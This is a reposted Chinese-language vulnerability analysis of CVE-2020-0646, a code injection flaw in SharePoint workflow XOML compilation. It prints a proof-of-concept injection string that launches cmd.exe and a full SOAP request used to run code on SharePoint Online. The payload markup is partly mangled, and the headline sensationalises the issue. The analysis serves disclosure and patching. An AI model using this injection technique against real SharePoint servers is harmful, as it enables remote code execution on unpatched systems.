02.28 微軟爆出驚天漏洞,讓黑客在你電腦暢行無阻

漏洞描述

2019年11月份,安全研究人員在微軟SharePoint Online的工作流中發現了一個代碼注入漏洞,並將其上報給微軟公司。攻擊者一旦成功利用該漏洞,將能夠在目標系統中實現遠程代碼執行。微軟在獲取到漏洞信息之後,第一時間修復了在線平臺上的相關漏洞,但是卻到2020年的1月份才修復.NET Framework中的相關問題。因此,如果你的SharePoint On-Rremise版本沒有安裝2020年1月份的.NET補丁,那你將仍然會受到該漏洞的影響。

需要注意的是,如果你的IIS配置支持.XOML擴展,那麼在文件上傳時你同樣有可能受到該漏洞的影響。

CVE-2020-0646漏洞分析

在編譯XOML格式文件時,攻擊者可以利用System.Workflow.Activities命名空間中的某些參數來在SharePoint服務器上執行任意代碼。正是因為攻擊者能夠執行任意代碼,因此該漏洞也能被用來繞過Workflow編譯器的nocode選項。

下面的XOML文件顯示的是一個使用類的樣例:

<sequentialworkflowactivity> <callexternalmethodactivity>/<sequentialworkflowactivity>

在編譯過程中,攻擊者可以將InterfaceType屬性的值注入到剛剛生成的C#臨時文件中:

… private void InitializeComponent() { … this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//); … }…

完成上述操作之後,攻擊者就可以繞過原函數並嘗試實現任意代碼執行了。值得一提的是,在上述例子中,當InterfaceType屬性受到影響時,其他String類型的屬性(例如MethodName)已正確驗證或轉義。

除此之外,CodeActivity類中的ExecuteCode參數同樣會受這種利用方式的影響,但是我們無法在SharePoint的在線版本中針對該參數進行利用和攻擊,只能適用於On-Premise版本。當然了,這裡很可能還有其他的Activity類會受到潛在影響。

比如說,在下面的例子中,攻擊者使用瞭如下HTTP請求在SharePoint Online版本上執行了任意代碼:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]<envelope><body><validateworkflowmarkupandcreatesupportobjects><workflowmarkuptext> <callexternalmethodactivity>]]>/<workflowmarkuptext><rulestext><configblob><flag>2/<flag>/<validateworkflowmarkupandcreatesupportobjects>/<body>/<envelope>

攻擊完成之後,我們就可以查看到主機需要解析的對應DNS名稱了:

微軟爆出驚天漏洞,讓黑客在你電腦暢行無阻

除此之外,攻擊者同樣可以利用上述請求來利用On-Premise版本中的漏洞並實施攻擊。

後話

安裝了漏洞CVE-2020-0646的補丁之後,SharePoint的工作流將會檢查所有的XML元素及屬性,以確保它們只包含有限數量的合法字符。因此,當使用所選的nocode選項時,攻擊者將無法在默認配置中向生成的C#代碼注入任意代碼了。

文章轉載於:https://www.freebuf.com/vuls/226717.html


分享到:


相關文章: